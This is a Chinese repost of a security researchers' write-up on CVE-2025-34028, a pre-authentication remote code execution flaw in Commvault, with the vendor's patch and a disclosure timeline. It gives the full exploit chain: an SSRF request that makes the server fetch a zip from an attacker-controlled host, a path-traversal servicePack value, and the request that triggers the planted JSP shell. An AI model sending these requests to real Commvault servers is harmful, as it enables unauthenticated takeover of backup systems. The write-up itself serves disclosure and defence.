PoC | Commvault 远程代码执行 CVE-2025-34028(9.0)

admin 2025年4月24日20:47:40评论0 views字数 18968阅读63分13秒阅读模式

Commvault它是什么?

Commvault 自称是数据保护或网络弹性解决方案;撇开花哨的词语不谈,产品市场评论网站将 Commvault 归类为企业备份和复制套件。这种读取能力告诉我们,Commvault 提供了集成并支持广泛的技术,包括云提供商、数据库、SOAR、虚拟机管理程序等。

为了了解使用 Commvault 解决方案的客户类型,我们可以随意浏览他们的客户案例和标志——很快就会发现,他们软件的目标受众包括大型企业、MSP 和 human sweatshops。

总而言之,Commvault 作为一个解决方案,我们不禁要附和他们的观点——一个自信地将自己定位在现代数据保护前沿的平台:

作为您值得信赖的合作伙伴,Commvault 坚固的零信任协议保护着业务数据的核心,同时满足政府机构和企业最严格的安全标准。

嘿嘿,零信任。

我们探索得越多,Commvault 的备份和恢复解决方案就越是作为一个有吸引力的软件目标,适合恶作剧/安全研究。幸运的是,它有两种版本:一种是“SaaS”产品,另一种是更有趣的本地部署版本。

展开蓝图

我们安装了其 Windows 本地部署版本的最新版本,特别是 Innovation Release 11.38.20 版本。

与所有大型设备/应用程序一样,找到我们可以与之交互的功能是关键。虽然在这个环境中运行着几个服务,例如:

  • IIS - 端口 81/TCP
  • IIS - 端口 82/TCP
  • 核心应用程序 - 端口 443/TCP
  • Apache Solr - 端口 20000/TCP

为了定位端口 443 上暴露的来源,通过一系列 Windows 命令,我们可以精确地说,主应用程序正在从驱动器 F:/ 的 Tomcat.exe 进程运行

C:\Users\Administrator>netstat -ano | findstr :443  TCP    0.0.0.0:4430.0.0.0:0              LISTENING       3112  TCP    [::]:443               [::]:0                 LISTENING       3112----C:\Users\Administrator>tasklist /fi "pid eq 3112" /vImage Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================tomcat.exe                    3112 Services                   01,544,332 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:01:44 N/AC:\Users\Administrator>wmic process where processid="3112"get executablepathExecutablePathF:\Program Files\Commvault\ContentStore\Apache\bin\tomcat.exe

当我们尝试访问我们新部署的实例时,系统会提示我们创建管理员用户。随后,出乎意料且令人恼火的是,我们遇到了第一个障碍:登录面板。

侦察现场

img

在对应用程序进行漏洞逆向工程时,这是一个过程;它需要遍历各个环节以找到其路径和端点,并问自己一个非常重要的问题——你如何与应用程序交互?

这与 Nginx、Apache、Node 等不同,但在本例中,最初的接触是与 Apache Tomcat 进程进行的,其配置位于其 server.xml 中。

看看下面的 server.xml 摘录,我们可以将 Tomcat 应用程序 Context paths 与其 docBase 相关联,这告诉我们磁盘上每个路由的相关文件在哪里。我们正在取得进展!

Context path="" docBase="F:/Program Files/Commvault/ContentStore/Apache/webapps/ROOT" reloadable="false"><Managerpathname=""/>        </Context>        <Context path="/console" docBase="F:/Program Files/Commvault/ContentStore/GUI" reloadable="false">          <Manager pathname=""/>        </Context>        <Context path="/downloads/sqlscripts" docBase="F:/Program Files/Commvault/ContentStore/Metrics/scripts" reloadable="false">          <Manager pathname=""/>        </Context>        <Context path="/publicdownloads/sqlscripts" docBase="F:/Program Files/Commvault/ContentStore/Metrics/public" reloadable="false">          <Manager pathname=""/>        </Context>        <Context path="/commandcenter" docBase="F:/Program Files/Commvault/ContentStore/AdminConsole" reloadable="false">          <Manager pathname=""/>          <Resource name="BeanManager" auth="Container" type="javax.enterprise.inject.spi.BeanManager" factory="org.jboss.weld.resources.ManagerObjectFactory"/>        </Context>        <Context path="/identity" docBase="F:/Program Files/Commvault/ContentStore/identity" reloadable="false">          <Manager pathname=""/>        </Context>        <Context path="/CustomReportsEngine" docBase="F:/Program Files/Commvault/ContentStore/CustomReportsEngine" reloadable="false">          <Manager pathname=""/>        </Context>        <Context path="/reports" docBase="F:/Program Files/Commvault/ContentStore/Reports" reloadable="false">          <Manager pathname=""/>        </Context>      </Host>     </Engine>  

考虑到应用程序在身份验证阶段的启动方式,主应用程序位于 /commandcenter 中,它遵循典型的 Tomcat 结构,包含 web.xml 和 WEB-INF 目录等。

使用我们最喜欢的 HTTP 代理进行未经身份验证的浏览时,我们看到几个对使用 .do 扩展名的端点的请求,这通常表明使用了 Apache Struts 框架 - 但在 Commvault 的情况下似乎并非如此,因为没有 struts.xml 列出所有 .do 或 .action 端点。

当查看 web.xml 时,也没有 .do 端点的确切映射,有一个 context-param 用于 scanPackage ,它查看特定的类路径。

猜测一下,它可能是在寻找以某种方式注册路由的包。

有时,在逆向工程中,从源到汇可能很麻烦,所以为了加快这个过程,我们可以通过反编译 lib 目录中的所有 .jar 和 .class 文件,并寻找我们 .do 知道的端点来逆向工作。

<context-param><param-name>scanPackage</param-name><param-value>commvault.web,commvault.cvmvc</param-value></context-param>

在成功反编译所有库之后,我们可以通过它们来 grep 查找我们已经在 HTTP 代理中观察到的路径 ( sloCallBack.do )。一旦我们遇到一个例子,它就开始解释路由是如何实例化的:

这是一个来自 cv-ac-core.jar 的相对简单的例子:路径 sloCallBack.do 及其 requestMethod 被映射到函数 SLOCallBack 。

   @RequestHandlerMethod(      url = "sloCallBack.do",      requestMethod = {RequestMethod.GET, RequestMethod.POST}   )   public void SLOCallBack(HttpSession session, HttpServletRequest request, HttpServletResponse response) throws IOException {String receivedRelayStateParam = request.getParameter("cvRelay");if (SSOLoginUtils.externalSiteLogoutEnabled(session)) {this.loginService.handleExternalLogout(request, response);      } else {         boolean logoutSuccessStatus = StringUtils.equals(request.getParameter("LogoutErrorCode"), "0");         SSOLoginUtils.doClientLogoutAndRedirectToIntendedPage(request, response, logoutSuccessStatus);      }   }

在用一些正则表达式技巧从反编译的库中提取所有路由后,我们继续在目标实例上进行测试,看看会发生什么。

然而,我们很快意识到存在某种程度的身份验证,因为大多数路由都会返回状态码 302 并将我们重定向以通过 /commandcenter/login/preSso.jsp. 进行身份验证

PoC | Commvault 远程代码执行 CVE-2025-34028(9.0)
img

由于我们知道某些路由的关键字可以访问,因为它们没有重定向响应,我们在 ContentStore/AdminConsole/WEB-INF/classes/authSkipRules.xml 中发现了一个方便命名的文件,其中包含一个排除在身份验证过滤器之外的端点列表,总共有 58 个端点!

legalNotice.dossoLogin.dologin.dofeedback.docontact.do[..Truncated..]metricsUpload.dowebpackage.dodeployWebpackage.dodeployServiceCommcell.do

我们可以通过请求这些端点来验证这一点。

结果各不相同,但关键是,它们与重定向到身份验证 /commandcenter/login/preSso.jsp 的结果不同。

响应不需要身份验证:( /commandcenter/proxy.do )

HTTP/1.1900Strict-Transport-Security: max-age=31536000;includeSubDomainsX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockSet-Cookie: JSESSIONID=331AB64D9DCB1A2684D0CD475CE7192E; Path=/commandcenter; Secure; HttpOnlyX-Frame-Options: SAMEORIGINPermissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();X-UA-Compatible: IE=Edge,chrome=1Referrer-Policy: strict-origin-when-cross-origintrace-id: fb3aaf23d74cd149ba827375f6e29e58Set-Cookie: csrf=3e2d4412f5244bdca11f9027def59a6b; Path=/commandcenter; SecureCache-Control: no-storevary: accept-encodingContent-Type: text/html;charset=UTF-8Content-Language: en-USDate: Tue, 22 Apr 202515:00:08 GMTServer: Commvault WebServerContent-Length: 11737

需要身份验证的响应: /commandcenter/cappsSubclients.do

HTTP/1.1302Strict-Transport-Security: max-age=31536000;includeSubDomainsX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockSet-Cookie: JSESSIONID=CC45DD745D6571C778ADE996D3C5654E; Path=/commandcenter; Secure; HttpOnlyX-Frame-Options: SAMEORIGINPermissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();X-UA-Compatible: IE=Edge,chrome=1Referrer-Policy: strict-origin-when-cross-origintrace-id: b966805d19ad0f23c7a164b4c811a922Location: /commandcenter/login/preSso.jspContent-Length: 0Date: Tue, 22 Apr 202514:54:29 GMT

部署软件包,嗯?

和所有研究一样,我们必须有明确的目标;通常,在 watchTowr 风格的漏洞研究中,我们有两个主要目标,类似于“PoC or GTFO”,我们完全遵循:

在找到了我们可以审查以满足第一个条件的端点和功能后,我们的任务是满足关键的影响点,即在上述已识别的端点和功能中进行远程代码执行

预先验证的端点列表足够短,可以从源头到接收器进行审计,直到我们找到有趣的东西,但如果我们没有直接选择那些用我们听不懂的语言说话的东西,我们就是在撒谎 - deployWebpackage.do 。 - 这看起来有潜力勾选 CVSS 评分的完整性框

该端点看起来相对简单,是一个 POST 请求,它期望 3 个参数 commcellName 、 servicePack 和 version :

  @RequestHandlerMethod(        url = "deployWebpackage.do",        requestMethod = {RequestMethod.POST}    )    public void deployWebPackage(@ReqParam(required = true) String commcellName, @ReqParam(required = true) String servicePack, @ReqParam(required = true) String version) throws Exception {this.ccDeploySerivce.deployWebPackage(commcellName, servicePack, version);    }

一个示例请求如下所示:

POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=commcellNameValue&servicePack=servicePackValue&version=versionValue

深入研究其功能,我们发现 ccDeploySerivce.deployWebPackage 中存在服务器端请求伪造的可能性,这让我们大开眼界。

   public void deployWebPackage(String commcellName, String servicePack, String version) throws Exception {        CloseableHttpClient client = null;try {if (this.cvConfig.getDisableSSLForCCPackageDeploy()) {                client = HttpClientBuilder.create().setSSLContext((new SSLContextBuilder()).loadTrustMaterial((KeyStore)null, (x509Certificates, s) -> {returntrue;                }).build()).setSSLHostnameVerifier(NoopHostnameVerifier.INSTANCE).build();            } else {                client = HttpClients.createDefault();            }String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);            HttpGet request = new HttpGet("https://" + commcellName + "/commandcenter/webpackage.do"); <---- [0]            request.addHeader("Accept", "application/octet-stream");            CloseableHttpResponse response = client.execute(request); <---- [1]

如你所见,如上

  • 在 [0] ,我们的参数 commcellName 被连接成一个 URL 作为主机名,
  • 在 [1] ,服务器向这个构造的 URL 执行一个 HTTP 请求。

一个非常直接的预认证服务器端请求伪造 (SSRF) 漏洞,因为没有对可以与之通信的主机进行过滤。

POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=External-Controlled-Host.com&servicePack=watchTowr&version=xGET /commandcenter/webpackage.do HTTP/1.1Accept: application/octet-streamHost: {{External-Controlled-Host.com}}Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)Accept-Encoding: gzip,deflate

升级影响!

这很酷,但它不是 RCE。

下面的代码块呢?我们可以看到很多关键文件写入函数被调用,例如 FileOutputStream 和 BufferedOutputStream ,也许它会把我们的 SSRF 扩展到更有影响力的东西。

try {      InputStream in = response.getEntity().getContent();  <---- [2]      String confPath = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;      String distCCPath = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;      File confDirectory = this.createDirectory(confPath + servicePack); <---- [3]      String var10002 = confDirectory.getAbsolutePath();      File versionFile = new File(var10002 + File.separator + "version.txt");      FileUtils.writeStringToFile(versionFile, version, StandardCharsets.UTF_8, false);      this.createDirectory(distCCPath);      BufferedInputStream bis = new BufferedInputStream(in); <---- [4]      try {          FileOutputStream fos = new FileOutputStream(new File(confDirectory, "dist-cc.zip")); <---- [5]          try {              BufferedOutputStream bos = new BufferedOutputStream(fos);              try {                  byte[] buffer = new byte[1024];                  int read;                  while((read = bis.read(buffer)) != -1) {                      bos.write(buffer, 0, read);[...Truncated...]      bis.close();      this.deployCCPackage(servicePack); <---- [6]      logger.info("Deployed web package successfully");

通常,在安全测试中,您希望功能尽可能成功,从而打开攻击面,使其能够进行更广泛和更深入的处理。

附加调试器并跟随执行过程,可以让我们看到哪些时间点失败,以及在哪里可以修正我们的有效载荷以获得最大的成功。

这个特定的函数从 [2] 开始,我们可以在这里观察到来自 SSRF 请求的响应被存储到 InputStream 变量 in 中。

通过调试器进一步查看代码,我们注意到一些目录是使用我们在 HTTP POST 请求参数 servicePack 在 [3] 中定义的值设置的 - 然而它恰好被一个异常捕获,并出现以下错误:

java.io.IOException: Failed to create directory /F:/Program Files/Commvault/ContentStore/\Apache\conf\ccPackages\hello

我们很快意识到,预先设定的目录 ccPackages 在 /Apache/ 目录中不存在,这导致它失败。

也许在使用此功能的自然流程中,该目录是在环境中创建的:

PoC | Commvault 远程代码执行 CVE-2025-34028(9.0)
img

然而,带着攻击性的思维,我们可以快速地绕过 [3] 和这个错误,通过在 servicePack 参数中使用几个路径遍历,消除这个障碍,因为我们现在进入了一个已存在的目录:

POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=External-Controlled-Host.com&servicePack=../../Hello&version=x

随着该函数继续执行,代码开始流经文件写入操作。例如:

  1. [4 ] 之前存储的 SSRF 响应现在被加载到 BufferedInputStream. 中
  2. [5] 在 [5] 处创建一个新文件,具体来说,是 dist-cc.zip 。
  3. 一个 while 循环然后开始处理将此数据写入磁盘。
img

跳出调试器片刻,我们可以看到在文件系统上的 F:\\Program Files\\Commvault\\ContentStore\\Apache\\hello 处创建了一个目录,其中包含有趣的内容。

此目录中有两个文件:

  • version.txt
    • 其内容由我们在 HTTP 请求中提供的 version 参数的值组成。
  • dist-cc.zip
    • 虽然它不是一个有效的 zip 文件,我们无法从中提取任何内容;但是,在记事本中打开它会显示我们通过 commcellName 参数在外部控制的服务器中提供的 HTTP 响应的内容。

下面为了清晰起见,展示了在记事本中打开的每个文件:

img

正如之前提到的,成功的关键是尽可能完整地执行函数,或者尽可能接近完成;在这种情况下,我们进入最终函数。

 private void deployCCPackage(String servicePack) throws IOException {String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);String CC_DEPLOY_PATH = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;String TEMP_DIR = servicePack + ".tmp" + File.separator + "dist-cc";String SERVICEPACK_DEPLOY_PATH = DIST_CC_PATH + servicePack + ".tmp"; <---- [7]        File dir = new File(SERVICEPACK_DEPLOY_PATH);        if (dir.exists()) {            FileUtils.deleteDirectory(dir);        }    this.fileZipUtil.unzipFileWrtAbsPath(CC_DEPLOY_PATH + servicePack + File.separator + "dist-cc.zip", DIST_CC_PATH + TEMP_DIR); <---- [8]

函数 deployCCPackage 的开始纯粹是一个初始化阶段,即为函数的其余部分设置目录和文件路径。有趣的是,尽管如此,查看 [7] ,我们可以快速看到一个新的目录被设置为 .tmp 后缀;调试输出显示位置为

 /F:/Program Files/Commvault/ContentStore/\\AdminConsole\\dist-cc-sps\\../../hello.tmp

然后,该函数获取 dist-cc.zip 的内容并将其解压缩到之前创建的临时目录中。 [8]

/F:/Program Files/Commvault/ContentStore/\Apache\conf\ccPackages\../../Hello.tmp\dist-cc

导致一个包含以下内容的临时目录:

PS F:\Program Files\Commvault\ContentStore> tree /f .\Hello.tmp\Folder PATH listing for volume CVLTF:\PROGRAM FILES\COMMVAULT\CONTENTSTORE\HELLO.TMP    version.txtNo subfolders exist

到目前为止,我们控制的外部服务器的内容,将其响应注入此函数,一直是通用的 HTML 内容;现在是时候使用一个包含恶意 .jsp 文件的 zip 文件,看看我们是否可以实现远程代码执行的初始目标。

隐蔽的压缩!

总结一下,在我们完成抢劫之前:

  1. 我们向 /commandcenter/deployWebpackage.do 发送一个 HTTP 请求
  2. 这迫使 Commvault 实例从我们外部控制的服务器获取一个 ZIP 文件。
  3. 这个 zip 文件的内容被解压到我们控制的 .tmp 目录中。

理论上的胜利之路是:

  • 创建一个包含恶意 .jsp 文件的 zip 文件
  • 通过端点 /commandcenter/webpackage.do[0] 在外部 HTTP 服务器上托管此 zip 文件
  • 使用 servicePack 参数遍历 .tmp 目录到服务器上预先身份验证的目录,例如 ../../Reports/MetricsUpload/shell 。我们可以通过参考本文开头的 server.xml 摘录来确定这一点。
<Context path="/reports" docBase="F:/Program Files/Commvault/ContentStore/Reports" reloadable="false"><Managerpathname=""/></Context>
  • 通过 /commandcenter/deployWebpackage.do 执行 SSRF,看看我们的 shell 是否解压缩。
  • 从 /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/shell.jsp 执行我们的 shell

完整请求:

POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=external-host.com&servicePack=../../Reports/MetricsUpload/shell/&version=watchTowr

与攻击者控制的外部服务器交互,zip 文件从我们的端点 /commandcenter/webpackage.do 下载,我们可以仔细检查 shell 是否被解压到位:

PS F:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\shell> tree /FFolder PATH listing for volume CVLTF:.└───.tmp    │   version.txt    │    └───dist-cc        └───dist-cc            │   watchTowr.jsp            │            └───ccApp                    index.html

现在,只需触发我们的 shell...

GET /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/watchTowr.jsp HTTP/1.1Host: {{Hostname}}HTTP/1.1200Strict-Transport-Security: max-age=31536000;includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockSet-Cookie: JSESSIONID=49A48BB65CF9B96A0D691D545FB26911; Path=/reports; Secure; HttpOnlyContent-Type: text/plain;charset=UTF-8Content-Length: 607Date: Thu, 17 Apr 202502:19:18 GMTServer: Commvault WebServer2l8 b4by, watchTowr was hereSERVER INFORMATION:------------------Server Info: Apache Tomcat/10.1.31Remote IP: 192.168.1.1Session ID: 49A48BB65CF9B96A0D691D545FB26911Timestamp: Thu Apr 1702:19:18 UTC 2025

就这样,Commvault 中的预身份验证远程代码执行。

img

对这次成功感到高兴,我们检查了这个控制器内的并行端点, deployServiceCommcell.do ,它是 deployWebpackage.do 的并行镜像,利用了 updateDeployPackages 函数,但有一个关键的区别!

按照之前的格式,端点在 RequestHandlerMethod 中表示,端点 deployServiceCommcell.do 是一个 POST 方法。

    @RequestHandlerMethod(        url = "deployServiceCommcell.do",        requestMethod = {RequestMethod.POST}    )    public void deployServiceCommcell(HttpServletRequest request) throws Exception {this.ccDeploySerivce.updateDeployPackages(request);    }public void updateDeployPackages(HttpServletRequest request) {try {            Collection<Part> parts = request.getParts();String servicePack = "";String version = "";            InputStream fileContent = null;            Iterator var6 = parts.iterator();while(true) {String fieldValue;while(var6.hasNext()) {                    Part part = (Part)var6.next();if (part.getContentType() != null && part.getContentType().startsWith("text")) {                        fieldValue = IOUtils.toString(part.getInputStream(), StandardCharsets.UTF_8);if (part.getName().contentEquals("servicePack")) {                            servicePack = "SP" + fieldValue;                        } elseif (part.getName().contentEquals("version")) {                            version = fieldValue;                        }                    } elseif (part.getContentType() != null && part.getContentType().startsWith("application/octet-stream")) {                        fileContent = part.getInputStream(); <---- [9]                    }                }                if (fileContent != null && !CVCoreUtil.isNullOrEmpty(version) && !CVCoreUtil.isNullOrEmpty(servicePack)) {                    String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);                    String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;                    fieldValue = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;                    File confDirectory = this.createDirectory(fieldValue + servicePack);                    this.createDirectory(DIST_CC_PATH);                    File servicePackFolder = new File(DIST_CC_PATH + servicePack);                    File versionFile;                    String var10002;                    if (servicePackFolder.exists()) {                        var10002 = servicePackFolder.getPath();                        versionFile = new File(var10002 + File.separator + "version.txt");                        if (versionFile.exists()) {                            String currentVersion = (new String(Files.readAllBytes(Paths.get(versionFile.getPath())))).trim();                            if (currentVersion.compareTo(version) >= 0) {                                logger.debug("No CC deploy needed as latest version is already deployed.");                                return;                            }                        }                    }                    var10002 = confDirectory.getAbsolutePath();                    versionFile = new File(var10002 + File.separator + "version.txt");                    FileUtils.writeStringToFile(versionFile, version, StandardCharsets.UTF_8, false);                    FileOutputStream out = new FileOutputStream(new File(confDirectory, "dist-cc.zip"));                    try {                        byte[] buffer = new byte[1024];                        int len;                        while((len = fileContent.read(buffer)) != -1) {                            out.write(buffer, 0, len);                        }                    } catch (Throwable var16) {                        try {                            out.close();                        } catch (Throwable var15) {                            var16.addSuppressed(var15);                        }                        throw var16;                    }                    out.close();                    this.deployCCPackage(servicePack); <---- [10]

接下来进入 updateDeployPackages ,我们可以看到与我们已经分析过的几乎相同的结构,除了在这种情况下,zip 文件是从 multipart 请求 [9] 中读取的,然后被推入易受攻击的函数 deployCCPackage[10] 。这使得威胁行为者可以利用可能代理外部 HTTP 请求的环境。

检测工件生成器

我们创建了一个检测工件生成器,以查看您的实例是否在使用 deployServiceCommcell.do 中的直接上传方法时存在漏洞。

poc 地址:https://github.com/watchtowrlabs/watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

与 Commvault 通讯

我们联系了 Commvault PSIRT,他们一直很乐于合作,告知了他们在 2025 年 4 月 7 日发现的远程代码执行漏洞(我们通过 SSRF <> 任意文件写入实现)。

导致补丁于 2025 年 4 月 10 日发布,并在 2025 年 4 月 17 日发布了安全公告 - https://documentation.commvault.com/securityadvisories/CV_2025_04_1.html。

PoC | Commvault 远程代码执行 CVE-2025-34028(9.0)

Commvault 发布的文章详细介绍了受影响和已修复的版本表,如下所示:

产品 平台 受影响版本 已修复版本 状态
Commvault
Linux, Windows
11.38.0 - 11.38.19
11.38.20
已解决

Commvault PSIRT 已经沟通,此漏洞特别影响他们的 Innovation Release,该版本似乎维护了 Commvault 解决方案的尖端功能;易受攻击的功能显然只是最近才添加的。

尽管如此,从报告到修补和发布公告的周转时间在我们看来必须是破纪录的!(1 周!)

诚然,我们最初对 Commvault 公告中突出显示的受影响版本感到担忧——我们已在版本 11.38.20 中报告了这些漏洞——但奇怪的是,Commvault 将此版本列为已修补。

我们告知了 Commvault,我们已经测试了 11.38.5 和 11.38.20 ,并在 4 月 9 日请求了明确的受影响版本范围,Commvault 在 4 月 10 日的快速响应证实了我们已经知道的事情——我们通常是错的。

“我们已经在当前支持的技术预览版本(11.38.20 及以上)中修复了此问题。”

时间线

日期
详情
2025 年 4 月 7 日
漏洞被发现
2025 年 4 月 7 日
漏洞已向 CommVault 版本 11.38.20 披露
2025 年 4 月 7 日
watchTowr 搜索客户端的攻击面,寻找受影响的系统,并与受影响的系统进行沟通
2025 年 4 月 8 日
Commvault 承认该漏洞并开始修复
2025 年 4 月 10 日
Commvault 发布了针对 11.38.20 及以上版本的修复程序
2025 年 4 月 17 日
Commvault 发布了安全公告
2025 年 4 月 22 日
watchTowr 通过 VulnCheck 作为 CNA 请求 CVE 分配。分配了 CVE-2025-34028。
2025 年 4 月 24 日
博客文章和 PoC 发布
文章有删减原文博客地址:https://labs.watchtowr.com/fire-in-the-hole-were-breaching-the-vault-commvault-remote-code-execution-cve-2025-34028/

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日20:47:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PoC | Commvault 远程代码执行 CVE-2025-34028(9.0)https://cn-sec.com/archives/3996895.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息